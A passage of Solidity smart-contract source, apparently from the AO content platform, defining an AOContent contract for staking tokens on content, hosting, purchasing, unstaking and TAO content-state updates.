_pathosAmount, uint256 _ethosAmount) internal { (,,uint256 theAOEthosEarnedRate) = _getSettingVariables(); // Store how much The AO earns in escrow Earning storage _theAOEarning = theAOEarnings[_purchaseId]; _theAOEarning.purchaseId = _purchaseId; // Pathos + X% of Ethos _theAOEarning.paymentEarning = _pathosAmount.add(_ethosAmount.mul(theAOEthosEarnedRate).div(AOLibrary.PERCENTAGE_DIVISOR())); require (_baseAO.mintTokenEscrow(theAO, _theAOEarning.paymentEarning)); emit PaymentEarningEscrowed(theAO, _purchaseId, _totalStaked, 0, _theAOEarning.paymentEarning, 2); } } /** * @title AOContent * * The purpose of this contract is to allow content creator to stake network ERC20 AO tokens and/or primordial AO Tokens * on his/her content */ contract AOContent is TheAO { using SafeMath for uint256; uint256 public totalContents; uint256 public totalContentHosts; uint256 public totalStakedContents; uint256 public totalPurchaseReceipts; address public settingTAOId; address public baseDenominationAddress; address public treasuryAddress; AOToken internal _baseAO; AOTreasury internal _treasury; AOEarning internal _earning; AOSetting internal _aoSetting; NameTAOPosition internal _nameTAOPosition; bool public paused; bool public killed; struct Content { bytes32 contentId; address creator; /** * baseChallenge is the content's PUBLIC KEY * When a request node wants to be a host, it is required to send a signed base challenge (its content's PUBLIC KEY) * so that the contract can verify the authenticity of the content by comparing what the contract has and what the request node * submit */ string baseChallenge; uint256 fileSize; bytes32 contentUsageType; // i.e AO Content, Creative Commons, or T(AO) Content address taoId; bytes32 taoContentState; // i.e Submitted, Pending Review, Accepted to TAO uint8 updateTAOContentStateV; bytes32 updateTAOContentStateR; bytes32 updateTAOContentStateS; string extraData; } struct StakedContent { bytes32 stakeId; bytes32 contentId; address stakeOwner; uint256 networkAmount; // total network token staked in base denomination uint256 primordialAmount; // the amount of primordial AO Token to stake (always in base denomination) uint256 primordialWeightedMultiplier; uint256 profitPercentage; // support up to 4 decimals, 100% = 1000000 bool active; // true if currently staked, false when unstaked uint256 createdOnTimestamp; } struct ContentHost { bytes32 contentHostId; bytes32 stakeId; address host; /** * encChallenge is the content's PUBLIC KEY unique to the host */ string encChallenge; string contentDatKey; string metadataDatKey; } struct PurchaseReceipt { bytes32 purchaseId; bytes32 contentHostId; address buyer; uint256 price; uint256 amountPaidByBuyer; // total network token paid in base denomination uint256 amountPaidByAO; // total amount paid by AO string publicKey; // The public key provided by request node address publicAddress; // The public address provided by request node uint256 createdOnTimestamp; } // Mapping from Content index to the Content object mapping (uint256 => Content) internal contents; // Mapping from content ID to index of the contents list mapping (bytes32 => uint256) internal contentIndex; // Mapping from StakedContent index to the StakedContent object mapping (uint256 => StakedContent) internal stakedContents; // Mapping from stake ID to index of the stakedContents list mapping (bytes32 => uint256) internal stakedContentIndex; // Mapping from ContentHost index to the ContentHost object mapping (uint256 => ContentHost) internal contentHosts; // Mapping from content host ID to index of the contentHosts list mapping (bytes32 => uint256) internal contentHostIndex; // Mapping from PurchaseReceipt index to the PurchaseReceipt object mapping (uint256 => PurchaseReceipt) internal purchaseReceipts; // Mapping from purchase ID to index of the purchaseReceipts list mapping (bytes32 => uint256) internal purchaseReceiptIndex; // Mapping from buyer's content host ID to the buy ID // To check whether or not buyer has bought/paid for a content mapping (address => mapping (bytes32 => bytes32)) public buyerPurchaseReceipts; // Event to be broadcasted to public when `content` is stored event StoreContent(address indexed creator, bytes32 indexed contentId, uint256 fileSize, bytes32 contentUsageType); // Event to be broadcasted to public when `stakeOwner` stakes a new content event StakeContent(address indexed stakeOwner, bytes32 indexed stakeId, bytes32 indexed contentId, uint256 baseNetworkAmount, uint256 primordialAmount, uint256 primordialWeightedMultiplier, uint256 profitPercentage, uint256 createdOnTimestamp); // Event to be broadcasted to public when a node hosts a content event HostContent(address indexed host, bytes32 indexed contentHostId, bytes32 stakeId, string contentDatKey, string metadataDatKey); // Event to be broadcasted to public when `stakeOwner` updates the staked content's profit percentage event SetProfitPercentage(address indexed stakeOwner, bytes32 indexed stakeId, uint256 newProfitPercentage); // Event to be broadcasted to public when `stakeOwner` unstakes some network/primordial token from an existing content event UnstakePartialContent(address indexed stakeOwner, bytes32 indexed stakeId, bytes32 indexed contentId, uint256 remainingNetworkAmount, uint256 remainingPrimordialAmount, uint256 primordialWeightedMultiplier); // Event to be broadcasted to public when `stakeOwner` unstakes all token amount on an existing content event UnstakeContent(address indexed stakeOwner, bytes32 indexed stakeId); // Event to be broadcasted to public when `stakeOwner` re-stakes an existing content event StakeExistingContent(address indexed stakeOwner, bytes32 indexed stakeId, bytes32 indexed contentId, uint256 currentNetworkAmount, uint256 currentPrimordialAmount, uint256 currentPrimordialWeightedMultiplier); // Event to be broadcasted to public when a request node buys a content event BuyContent(address indexed buyer, bytes32 indexed purchaseId, bytes32 indexed contentHostId, uint256 price, uint256 amountPaidByAO, uint256 amountPaidByBuyer, string publicKey, address publicAddress, uint256 createdOnTimestamp); // Event to be broadcasted to public when Advocate/Listener/Speaker wants to update the TAO Content's State event UpdateTAOContentState(bytes32 indexed contentId, address indexed taoId, address signer, bytes32 taoContentState); // Event to be broadcasted to public when emergency mode is triggered event EscapeHatch(); /** * @dev Constructor function * @param _settingTAOId The TAO ID that controls the setting * @param _aoSettingAddress The address of AOSetting * @param _baseDenominationAddress The address of AO base token * @param _treasuryAddress The address of AOTreasury * @param _earningAddress The address of AOEarning * @param _nameTAOPositionAddress The address of NameTAOPosition */ constructor(address _settingTAOId, address _aoSettingAddress, address _baseDenominationAddress, address _treasuryAddress, address _earningAddress, address _nameTAOPositionAddress) public { settingTAOId = _settingTAOId; baseDenominationAddress = _baseDenominationAddress; treasuryAddress = _treasuryAddress; nameTAOPositionAddress = _nameTAOPositionAddress; _baseAO = AOToken(_baseDenominationAddress); _treasury = AOTreasury(_treasuryAddress); _earning = AOEarning(_earningAddress); _aoSetting = AOSetting(_aoSettingAddress); _nameTAOPosition = NameTAOPosition(_nameTAOPositionAddress); } /** * @dev Checks if the calling contract address is The AO * OR * If The AO is set to a Name/TAO, then check if calling address is the Advocate */ modifier onlyTheAO { require (AOLibrary.isTheAO(msg.sender, theAO, nameTAOPositionAddress)); _; } /** * @dev Checks if contract is currently active */ modifier isContractActive { require (paused == false && killed == false); _; } /***** The AO ONLY METHODS *****/ /** * @dev Transfer ownership of The AO to new address * @param _theAO The new address to be transferred */ function transferOwnership(address _theAO) public onlyTheAO { require (_theAO != address(0)); theAO = _theAO; } /** * @dev Whitelist `_account` address to transact on behalf of others * @param _account The address to whitelist * @param _whitelist Either to whitelist or not */ function setWhitelist(address _account, bool _whitelist) public onlyTheAO { require (_account != address(0)); whitelist[_account] = _whitelist; } /** * @dev The AO pauses/unpauses contract * @param _paused Either to pause contract or not */ function setPaused(bool _paused) public onlyTheAO { paused = _paused; } /** * @dev The AO triggers emergency mode. * */ function escapeHatch() public onlyTheAO { require (killed == false); killed = true; emit EscapeHatch(); } /** * @dev The AO updates base denomination address * @param _newBaseDenominationAddress The new address */ function setBaseDenominationAddress(address _newBaseDenominationAddress) public onlyTheAO { require (AOToken(_newBaseDenominationAddress).powerOfTen() == 0); baseDenominationAddress = _newBaseDenominationAddress; _baseAO = AOToken(baseDenominationAddress); } /***** PUBLIC METHODS *****/ /** * @dev Stake `_networkIntegerAmount` + `_networkFractionAmount` of network token in `_denomination` and/or `_primordialAmount` primordial Tokens for an AO Content * @param _networkIntegerAmount The integer amount of network token to stake * @param _networkFractionAmount The fraction amount of network token to stake * @param _denomination The denomination of the network token, i.e ao, kilo, mega, etc. * @param _primordialAmount The amount of primordial Token to stake * @param _baseChallenge The base challenge string (PUBLIC KEY) of the content * @param _encChallenge The encrypted challenge string (PUBLIC KEY) of the content unique to the host * @param _contentDatKey The dat key of the content * @param _metadataDatKey The dat key of the content's metadata * @param _fileSize The size of the file * @param _profitPercentage The percentage of profit the stake owner's media will charge */ function stakeAOContent( uint256 _networkIntegerAmount, uint256 _networkFractionAmount, bytes8 _denomination, uint256 _primordialAmount, string _baseChallenge, string _encChallenge, string _contentDatKey, string _metadataDatKey, uint256 _fileSize, uint256 _profitPercentage) public isContractActive { require (AOLibrary.canStake(treasuryAddress, _networkIntegerAmount, _networkFractionAmount, _denomination, _primordialAmount, _baseChallenge, _encChallenge, _contentDatKey, _metadataDatKey, _fileSize, _profitPercentage)); (bytes32 _contentUsageType_aoContent,,,,,) = _getSettingVariables(); /** * 1. Store this content * 2. Stake the network/primordial token on content * 3. Add the node info that hosts this content (in this case the creator himself) */ _hostContent( msg.sender, _stakeContent( msg.sender, _storeContent( msg.sender, _baseChallenge, _fileSize, _contentUsageType_aoContent, address(0) ), _networkIntegerAmount, _networkFractionAmount, _denomination, _primordialAmount, _profitPercentage ), _encChallenge, _contentDatKey, _metadataDatKey ); } /** * @dev Stake `_networkIntegerAmount` + `_networkFractionAmount` of network token in `_denomination` and/or `_primordialAmount` primordial Tokens for a Creative Commons Content * @param _networkIntegerAmount The integer amount of network token to stake * @param _networkFractionAmount The fraction amount of network token to stake * @param _denomination The denomination of the network token, i.e ao, kilo, mega, etc. * @param _primordialAmount The amount of primordial Token to stake * @param _baseChallenge The base challenge string (PUBLIC KEY) of the content * @param _encChallenge The encrypted challenge string (PUBLIC KEY) of the content unique to the host * @param _contentDatKey The dat key of the content * @param _metadataDatKey The dat key of the content's metadata * @param _fileSize The size of the file */ function stakeCreativeCommonsContent( uint256 _networkIntegerAmount, uint256 _networkFractionAmount, bytes8 _denomination, uint256 _primordialAmount, string _baseChallenge, string _encChallenge, string _contentDatKey, string _metadataDatKey, uint256 _fileSize) public isContractActive { require (AOLibrary.canStake(treasuryAddress, _networkIntegerAmount, _networkFractionAmount, _denomination, _primordialAmount, _baseChallenge, _encChallenge, _contentDatKey, _metadataDatKey, _fileSize, 0)); require (_treasury.toBase(_networkIntegerAmount, _networkFractionAmount, _denomination).add(_primordialAmount) == _fileSize); (,bytes32 _contentUsageType_creativeCommons,,,,) = _getSettingVariables(); /** * 1. Store this content * 2. Stake the network/primordial token on content * 3. Add the node info that hosts this content (in this case the creator himself) */ _hostContent( msg.sender, _stakeContent( msg.sender, _storeContent( msg.sender, _baseChallenge, _fileSize, _contentUsageType_creativeCommons, address(0) ), _networkIntegerAmount, _networkFractionAmount, _denomination, _primordialAmount, 0 ), _encChallenge, _contentDatKey, _metadataDatKey ); } /** * @dev Stake `_networkIntegerAmount` + `_networkFractionAmount` of network token in `_denomination` and/or `_primordialAmount` primordial Tokens for a T(AO) Content * @param _networkIntegerAmount The integer amount of network token to stake * @param _networkFractionAmount The fraction amount of network token to stake * @param _denomination The denomination of the network token, i.e ao, kilo, mega, etc. * @param _primordialAmount The amount of primordial Token to stake * @param _baseChallenge The base challenge string (PUBLIC KEY) of the content * @param _encChallenge The encrypted challenge string (PUBLIC KEY) of the content unique to the host * @param _contentDatKey The dat key of the content * @param _metadataDatKey The dat key of the content's metadata * @param _fileSize The size of the file * @param _taoId The TAO (TAO) ID for this content (if this is a T(AO) Content) */ function stakeTAOContent( uint256 _networkIntegerAmount, uint256 _networkFractionAmount, bytes8 _denomination, uint256 _primordialAmount, string _baseChallenge, string _encChallenge, string _contentDatKey, string _metadataDatKey, uint256 _fileSize, address _taoId) public isContractActive { require (AOLibrary.canStake(treasuryAddress, _networkIntegerAmount, _networkFractionAmount, _denomination, _primordialAmount, _baseChallenge, _encChallenge, _contentDatKey, _metadataDatKey, _fileSize, 0)); require ( _treasury.toBase(_networkIntegerAmount, _networkFractionAmount, _denomination).add(_primordialAmount) == _fileSize && _nameTAOPosition.senderIsPosition(msg.sender, _taoId) ); (,,bytes32 _contentUsageType_taoContent,,,) = _getSettingVariables(); /** * 1. Store this content * 2. Stake the network/primordial token on content * 3. Add the node info that hosts this content (in this case the creator himself) */ _hostContent( msg.sender, _stakeContent( msg.sender, _storeContent( msg.sender, _baseChallenge, _fileSize, _contentUsageType_taoContent, _taoId ), _networkIntegerAmount, _networkFractionAmount, _denomination, _primordialAmount, 0 ), _encChallenge, _contentDatKey, _metadataDatKey ); } /** * @dev Set profit percentage on existing staked content * Will throw error if this is a Creative Commons/T(AO) Content * @param _stakeId The ID of the staked content * @param _profitPercentage The new value to be set */ function setProfitPercentage(bytes32 _stakeId, uint256 _profitPercentage) public isContractActive { require (_profitPercentage <= AOLibrary.PERCENTAGE_DIVISOR()); // Make sure the staked content exist require (stakedContentIndex[_stakeId] > 0); StakedContent storage _stakedContent = stakedContents[stakedContentIndex[_stakeId]]; // Make sure the staked content owner is the same as the sender require (_stakedContent.stakeOwner == msg.sender); // Make sure we are updating profit percentage for AO Content only // Creative Commons/T(AO) Content has 0 profit percentage require (_isAOContentUsageType(_stakedContent.contentId)); _stakedContent.profitPercentage = _profitPercentage; emit SetProfitPercentage(msg.sender, _stakeId, _profitPercentage); } /** * @dev Set extra data on existing content * @param _contentId The ID of the content * @param _extraData some extra information to send to the contract for a content */ function setContentExtraData(bytes32 _contentId, string _extraData) public isContractActive { // Make sure the content exist require (contentIndex[_contentId] > 0); Content storage _content = contents[contentIndex[_contentId]]; // Make sure the content creator is the same as the sender require (_content.creator == msg.sender); _content.extraData = _extraData; } /** * @dev Return content info at a given ID * @param _contentId The ID of the content * @return address of the creator * @return file size of the content * @return the content usage type, i.e AO Content, Creative Commons, or T(AO) Content * @return The TAO ID for this content (if this is a T(AO) Content) * @return The TAO Content state, i.e Submitted, Pending Review, or Accepted to TAO * @return The V part of signature that is used to update the TAO Content State * @return The R part of signature that is used to update the TAO Content State * @return The S part of signature that is used to update the TAO Content State * @return the extra information sent to the contract when creating a content */ function contentById(bytes32 _contentId) public view returns (address, uint256, bytes32, address, bytes32, uint8, bytes32, bytes32, string) { // Make sure the content exist require (contentIndex[_contentId] > 0); Content memory _content = contents[contentIndex[_contentId]]; return ( _content.creator, _content.fileSize, _content.contentUsageType, _content.taoId, _content.taoContentState, _content.updateTAOContentStateV, _content.updateTAOContentStateR, _content.updateTAOContentStateS, _content.extraData ); } /** * @dev Return content host info at a given ID * @param _contentHostId The ID of the hosted content * @return The ID of the staked content * @return address of the host * @return the dat key of the content * @return the dat key of the content's metadata */ function contentHostById(bytes32 _contentHostId) public view returns (bytes32, address, string, string) { // Make sure the content host exist require (contentHostIndex[_contentHostId] > 0); ContentHost memory _contentHost = contentHosts[contentHostIndex[_contentHostId]]; return ( _contentHost.stakeId, _contentHost.host, _contentHost.contentDatKey, _contentHost.metadataDatKey ); } /** * @dev Return staked content information at a given ID * @param _stakeId The ID of the staked content * @return The ID of the content being staked * @return address of the staked content's owner * @return the network base token amount staked for this content * @return the primordial token amount staked for this content * @return the primordial weighted multiplier of the staked content * @return the profit percentage of the content * @return status of the staked content * @return the timestamp when the staked content was created */ function stakedContentById(bytes32 _stakeId) public view returns (bytes32, address, uint256, uint256, uint256, uint256, bool, uint256) { // Make sure the staked content exist require (stakedContentIndex[_stakeId] > 0); StakedContent memory _stakedContent = stakedContents[stakedContentIndex[_stakeId]]; return ( _stakedContent.contentId, _stakedContent.stakeOwner, _stakedContent.networkAmount, _stakedContent.primordialAmount, _stakedContent.primordialWeightedMultiplier, _stakedContent.profitPercentage, _stakedContent.active, _stakedContent.createdOnTimestamp ); } /** * @dev Unstake existing staked content and refund partial staked amount to the stake owner * Use unstakeContent() to unstake all staked token amount. unstakePartialContent() can unstake only up to * the mininum required to pay the fileSize * @param _stakeId The ID of the staked content * @param _networkIntegerAmount The integer amount of network token to unstake * @param _networkFractionAmount The fraction amount of network token to unstake * @param _denomination The denomination of the network token, i.e ao, kilo, mega, etc. * @param _primordialAmount The amount of primordial Token to unstake */ function unstakePartialContent(bytes32 _stakeId, uint256 _networkIntegerAmount, uint256 _networkFractionAmount, bytes8 _denomination, uint256 _primordialAmount) public isContractActive { // Make sure the staked content exist require (stakedContentIndex[_stakeId] > 0); require (_networkIntegerAmount > 0 || _networkFractionAmount > 0 || _primordialAmount > 0); StakedContent storage _stakedContent = stakedContents[stakedContentIndex[_stakeId]]; uint256 _fileSize = contents[contentIndex[_stakedContent.contentId]].fileSize; // Make sure the staked content owner is the same as the sender require (_stakedContent.stakeOwner == msg.sender); // Make sure the staked content is currently active (staked) with some amounts require (_stakedContent.active == true && (_stakedContent.networkAmount > 0 || (_stakedContent.primordialAmount > 0 && _stakedContent.primordialWeightedMultiplier > 0))); // Make sure the staked content has enough balance to unstake require (AOLibrary.canUnstakePartial(treasuryAddress, _networkIntegerAmount, _networkFractionAmount, _denomination, _primordialAmount, _stakedContent.networkAmount, _stakedContent.primordialAmount, _fileSize)); if (_denomination[0] != 0 && (_networkIntegerAmount > 0 || _networkFractionAmount > 0)) { uint256 _unstakeNetworkAmount = _treasury.toBase(_networkIntegerAmount, _networkFractionAmount, _denomination); _stakedContent.networkAmount = _stakedContent.networkAmount.sub(_unstakeNetworkAmount); require (_baseAO.unstakeFrom(msg.sender, _unstakeNetworkAmount)); } if (_primordialAmount > 0) { _stakedContent.primordialAmount = _stakedContent.primordialAmount.sub(_primordialAmount); require (_baseAO.unstakePrimordialTokenFrom(msg.sender, _primordialAmount, _stakedContent.primordialWeightedMultiplier)); } emit UnstakePartialContent(_stakedContent.stakeOwner, _stakedContent.stakeId, _stakedContent.contentId, _stakedContent.networkAmount, _stakedContent.primordialAmount, _stakedContent.primordialWeightedMultiplier); } /** * @dev Unstake existing staked content and refund the total staked amount to the stake owner * @param _stakeId The ID of the staked content */ function unstakeContent(bytes32 _stakeId) public isContractActive { // Make sure the staked content exist require (stakedContentIndex[_stakeId] > 0); StakedContent storage _stakedContent = stakedContents[stakedContentIndex[_stakeId]]; // Make sure the staked content owner is the same as the sender require (_stakedContent.stakeOwner == msg.sender); // Make sure the staked content is currently active (staked) with some amounts require (_stakedContent.active == true && (_stakedContent.networkAmount > 0 || (_stakedContent.primordialAmount > 0 && _stakedContent.primordialWeightedMultiplier > 0))); _stakedContent.active = false; if (_stakedContent.networkAmount > 0) { uint256 _unstakeNetworkAmount = _stakedContent.networkAmount; _stakedContent.networkAmount = 0; require (_baseAO.unstakeFrom(msg.sender, _unstakeNetworkAmount)); } if (_stakedContent.primordialAmount > 0) { uint256 _primordialAmount = _stakedContent.primordialAmount; uint256 _primordialWeightedMultiplier = _stakedContent.primordialWeightedMultiplier; _stakedContent.primordialAmount = 0; _stakedContent.primordialWeightedMultiplier = 0; require (_baseAO.unstakePrimordialTokenFrom(msg.sender, _primordialAmount, _primordialWeightedMultiplier)); } emit UnstakeContent(_stakedContent.stakeOwner, _stakeId); } /** * @dev Stake existing content with more tokens (this is to increase the price) * * @param _stakeId The ID of the staked content * @param _networkIntegerAmount The integer amount of network token to stake * @param _networkFractionAmount The fraction amount of network token to stake * @param _denomination The denomination of the network token, i.e ao, kilo, mega, etc. * @param _primordialAmount The amount of primordial Token to stake. (The primordial weighted multiplier has to match the current staked weighted multiplier) */ function stakeExistingContent(bytes32 _stakeId, uint256 _networkIntegerAmount, uint256 _networkFractionAmount, bytes8 _denomination, uint256 _primordialAmount) public isContractActive { // Make sure the staked content exist require (stakedContentIndex[_stakeId] > 0); StakedContent storage _stakedContent = stakedContents[stakedContentIndex[_stakeId]]; uint256 _fileSize = contents[contentIndex[_stakedContent.contentId]].fileSize; // Make sure the staked content owner is the same as the sender require (_stakedContent.stakeOwner == msg.sender); require (_networkIntegerAmount > 0 || _networkFractionAmount > 0 || _primordialAmount > 0); require (AOLibrary.canStakeExisting(treasuryAddress, _isAOContentUsageType(_stakedContent.contentId), _fileSize, _stakedContent.networkAmount.add(_stakedContent.primordialAmount), _networkIntegerAmount, _networkFractionAmount, _denomination, _primordialAmount)); // Make sure we can stake primordial token // If we are currently staking an active staked content, then the stake owner's weighted multiplier has to match `stakedContent.primordialWeightedMultiplier` // i.e, can't use a combination of different weighted multiplier. Stake owner has to call unstakeContent() to unstake all tokens first if (_primordialAmount > 0 && _stakedContent.active && _stakedContent.primordialAmount > 0 && _stakedContent.primordialWeightedMultiplier > 0) { require (_baseAO.weightedMultiplierByAddress(msg.sender) == _stakedContent.primordialWeightedMultiplier); } _stakedContent.active = true; if (_denomination[0] != 0 && (_networkIntegerAmount > 0 || _networkFractionAmount > 0)) { uint256 _stakeNetworkAmount = _treasury.toBase(_networkIntegerAmount, _networkFractionAmount, _denomination); _stakedContent.networkAmount = _stakedContent.networkAmount.add(_stakeNetworkAmount); require (_baseAO.stakeFrom(_stakedContent.stakeOwner, _stakeNetworkAmount)); } if (_primordialAmount > 0) { _stakedContent.primordialAmount = _stakedContent.primordialAmount.add(_primordialAmount); // Primordial Token is the base AO Token _stakedContent.primordialWeightedMultiplier = _baseAO.weightedMultiplierByAddress(_stakedContent.stakeOwner); require (_baseAO.stakePrimordialTokenFrom(_stakedContent.stakeOwner, _primordialAmount, _stakedContent.primordialWeightedMultiplier)); } emit StakeExistingContent(msg.sender, _stakedContent.stakeId, _stakedContent.contentId, _stakedContent.networkAmount, _stakedContent.primordialAmount, _stakedContent.primordialWeightedMultiplier); } /** * @dev Determine the content price hosted by a host * @param _contentHostId The content host ID to be checked * @return the price of the content */ function contentHostPrice(bytes32 _contentHostId) public isContractActive view returns (uint256) { // Make sure content host exist require (contentHostIndex[_contentHostId] > 0); bytes32 _stakeId = contentHosts[contentHostIndex[_contentHostId]].stakeId; StakedContent memory _stakedContent = stakedContents[stakedContentIndex[_stakeId]]; // Make sure content is currently staked require (_stakedContent.active == true && (_stakedContent.networkAmount > 0 || (_stakedContent.primordialAmount > 0 && _stakedContent.primordialWeightedMultiplier > 0))); return _stakedContent.networkAmount.add(_stakedContent.primordialAmount); } /** * @dev Determine the how much the content is paid by AO given a contentHostId * @param _contentHostId The content host ID to be checked * @return the amount paid by AO */ function contentHostPaidByAO(bytes32 _contentHostId) public isContractActive view returns (uint256) { bytes32 _stakeId = contentHosts[contentHostIndex[_contentHostId]].stakeId; bytes32 _contentId = stakedContents[stakedContentIndex[_stakeId]].contentId; if (_isAOContentUsageType(_contentId)) { return 0; } else { return contentHostPrice(_contentHostId); } } /** * @dev Bring content in to the requesting node by sending network tokens to the contract to pay for the content * @param _contentHostId The ID of hosted content * @param _networkIntegerAmount The integer amount of network token to pay * @param _networkFractionAmount The fraction amount of network token to pay * @param _denomination The denomination of the network token, i.e ao, kilo, mega, etc. * @param _publicKey The public key of the request node * @param _publicAddress The public address of the request node */ function buyContent(bytes32 _contentHostId, uint256 _networkIntegerAmount, uint256 _networkFractionAmount, bytes8 _denomination, string _publicKey, address _publicAddress) public isContractActive { // Make sure the content host exist require (contentHostIndex[_contentHostId] > 0); // Make sure public key is not empty require (bytes(_publicKey).length > 0); // Make sure public address is valid require (_publicAddress != address(0)); ContentHost memory _contentHost = contentHosts[contentHostIndex[_contentHostId]]; StakedContent memory _stakedContent = stakedContents[stakedContentIndex[_contentHost.stakeId]]; // Make sure the content currently has stake require (_stakedContent.active == true && (_stakedContent.networkAmount > 0 || (_stakedContent.primordialAmount > 0 && _stakedContent.primordialWeightedMultiplier > 0))); // Make sure the buyer has not bought this content previously require (buyerPurchaseReceipts[msg.sender][_contentHostId][0] == 0); // Make sure the token amount can pay for the content price if (_isAOContentUsageType(_stakedContent.contentId)) { require (AOLibrary.canBuy(treasuryAddress, _stakedContent.networkAmount.add(_stakedContent.primordialAmount), _networkIntegerAmount, _networkFractionAmount, _denomination)); } // Increment totalPurchaseReceipts; totalPurchaseReceipts++; // Generate purchaseId bytes32 _purchaseId = keccak256(abi.encodePacked(this, msg.sender, _contentHostId)); PurchaseReceipt storage _purchaseReceipt = purchaseReceipts[totalPurchaseReceipts]; // Make sure the node doesn't buy the same content twice require (_purchaseReceipt.buyer == address(0)); _purchaseReceipt.purchaseId = _purchaseId; _purchaseReceipt.contentHostId = _contentHostId; _purchaseReceipt.buyer = msg.sender; // Update the receipt with the correct network amount _purchaseReceipt.price = _stakedContent.networkAmount.add(_stakedContent.primordialAmount); _purchaseReceipt.amountPaidByAO = contentHostPaidByAO(_contentHostId); _purchaseReceipt.amountPaidByBuyer = _purchaseReceipt.price.sub(_purchaseReceipt.amountPaidByAO); _purchaseReceipt.publicKey = _publicKey; _purchaseReceipt.publicAddress = _publicAddress; _purchaseReceipt.createdOnTimestamp = now; purchaseReceiptIndex[_purchaseId] = totalPurchaseReceipts; buyerPurchaseReceipts[msg.sender][_contentHostId] = _purchaseId; // Calculate content creator/host/The AO earning from this purchase and store them in escrow require (_earning.calculateEarning( msg.sender, _purchaseId, _stakedContent.networkAmount, _stakedContent.primordialAmount, _stakedContent.primordialWeightedMultiplier, _stakedContent.profitPercentage, _stakedContent.stakeOwner, _contentHost.host, _isAOContentUsageType(_stakedContent.contentId) )); emit BuyContent(_purchaseReceipt.buyer, _purchaseReceipt.purchaseId, _purchaseReceipt.contentHostId, _purchaseReceipt.price, _purchaseReceipt.amountPaidByAO, _purchaseReceipt.amountPaidByBuyer, _purchaseReceipt.publicKey, _purchaseReceipt.publicAddress, _purchaseReceipt.createdOnTimestamp); } /** * @dev Return purchase receipt info at a given ID * @param _purchaseId The ID of the purchased content * @return The ID of the content host * @return address of the buyer * @return price of the content * @return amount paid by AO * @return amount paid by Buyer * @return request node's public key * @return request node's public address * @return created on timestamp */ function purchaseReceiptById(bytes32 _purchaseId) public view returns (bytes32, address, uint256, uint256, uint256, string, address, uint256) { // Make sure the purchase receipt exist require (purchaseReceiptIndex[_purchaseId] > 0); PurchaseReceipt memory _purchaseReceipt = purchaseReceipts[purchaseReceiptIndex[_purchaseId]]; return ( _purchaseReceipt.contentHostId, _purchaseReceipt.buyer, _purchaseReceipt.price, _purchaseReceipt.amountPaidByAO, _purchaseReceipt.amountPaidByBuyer, _purchaseReceipt.publicKey, _purchaseReceipt.publicAddress, _purchaseReceipt.createdOnTimestamp ); } /** * @dev Request node wants to become a distribution node after buying the content * Also, if this transaction succeeds, contract will release all of the earnings that are * currently in escrow for content creator/host/The AO */ function becomeHost( bytes32 _purchaseId, uint8 _baseChallengeV, bytes32 _baseChallengeR, bytes32 _baseChallengeS, string _encChallenge, string _contentDatKey, string _metadataDatKey ) public isContractActive { // Make sure the purchase receipt exist require (purchaseReceiptIndex[_purchaseId] > 0); PurchaseReceipt memory _purchaseReceipt = purchaseReceipts[purchaseReceiptIndex[_purchaseId]]; bytes32 _stakeId = contentHosts[contentHostIndex[_purchaseReceipt.contentHostId]].stakeId; bytes32 _contentId = stakedContents[stakedContentIndex[_stakeId]].contentId; // Make sure the purchase receipt owner is the same as the sender require (_purchaseReceipt.buyer == msg.sender); // Verify that the file is not tampered by validating the base challenge signature // The signed base challenge key should match the one from content creator Content memory _content = contents[contentIndex[_contentId]]; require (AOLibrary.getBecomeHostSignatureAddress(address(this), _content.baseChallenge, _baseChallengeV, _baseChallengeR, _baseChallengeS) == _purchaseReceipt.publicAddress); _hostContent(msg.sender, _stakeId, _encChallenge, _contentDatKey, _metadataDatKey); // Release earning from escrow require (_earning.releaseEarning( _stakeId, _purchaseReceipt.contentHostId, _purchaseId, (_purchaseReceipt.amountPaidByBuyer > _content.fileSize), stakedContents[stakedContentIndex[_stakeId]].stakeOwner, contentHosts[contentHostIndex[_purchaseReceipt.contentHostId]].host) ); } /** * @dev Update the TAO Content State of a T(AO) Content * @param _contentId The ID of the Content * @param _taoId The ID of the TAO that initiates the update * @param _taoContentState The TAO Content state value, i.e Submitted, Pending Review, or Accepted to TAO * @param _updateTAOContentStateV The V part of the signature for this update * @param _updateTAOContentStateR The R part of the signature for this update * @param _updateTAOContentStateS The S part of the signature for this update */ function updateTAOContentState( bytes32 _contentId, address _taoId, bytes32 _taoContentState, uint8 _updateTAOContentStateV, bytes32 _updateTAOContentStateR, bytes32 _updateTAOContentStateS ) public isContractActive { // Make sure the content exist require (contentIndex[_contentId] > 0); require (AOLibrary.isTAO(_taoId)); (,, bytes32 _contentUsageType_taoContent, bytes32 taoContentState_submitted, bytes32 taoContentState_pendingReview, bytes32 taoContentState_acceptedToTAO) = _getSettingVariables(); require (_taoContentState == taoContentState_submitted || _taoContentState == taoContentState_pendingReview || _taoContentState == taoContentState_acceptedToTAO); address _signatureAddress = AOLibrary.getUpdateTAOContentStateSignatureAddress(address(this), _contentId, _taoId, _taoContentState, _updateTAOContentStateV, _updateTAOContentStateR, _updateTAOContentStateS); Content storage _content = contents[contentIndex[_contentId]]; // Make sure that the signature address is one of content's TAO ID's Advocate/Listener/Speaker require (_signatureAddress == msg.sender && _nameTAOPosition.senderIsPosition(_signatureAddress, _content.taoId)); require (_content.contentUsageType == _contentUsageType_taoContent); _content.taoContentState = _taoContentState; _content.updateTAOContentStateV = _updateTAOContentStateV; _content.updateTAOContentStateR = _updateTAOContentStateR; _content.updateTAOContentStateS = _updateTAOContentStateS; emit UpdateTAOContentState(_contentId, _taoId, _signatureAddress, _taoContentState); } /***** INTERNAL METHODS *****/ /** * @dev Store the content information (content creation during staking) * @param _creator the address of the content creator * @param _baseChallenge The base challenge string (PUBLIC KEY) of the content * @param _fileSize The size of the file * @param _contentUsageType The content usage type, i.e AO Content, Creative Commons, or T(AO) Content * @param _taoId The TAO (TAO) ID for this content (if this is a T(AO) Content) * @return the ID of the content */ function _storeContent(address _creator, string _baseChallenge, uint256 _fileSize, bytes32 _contentUsageType, address _taoId) internal returns (bytes32) { // Increment totalContents totalContents++; // Generate contentId bytes32 _contentId = keccak256(abi.encodePacked(this, _creator, totalContents)); Content storage _content = contents[totalContents]; // Make sure the node does't store the same content twice require (_content.creator == address(0)); (,,bytes32 contentUsageType_taoContent, bytes32 taoContentState_submitted,,) = _getSettingVariables(); _content.contentId = _contentId; _content.creator = _creator; _content.baseChallenge = _baseChallenge; _content.fileSize = _fileSize; _content.contentUsageType = _contentUsageType; // If this is a TAO Content if (_contentUsageType == contentUsageType_taoContent) { _content.taoContentState = taoContentState_submitted; _content.taoId = _taoId; } contentIndex[_contentId] = totalContents; emit 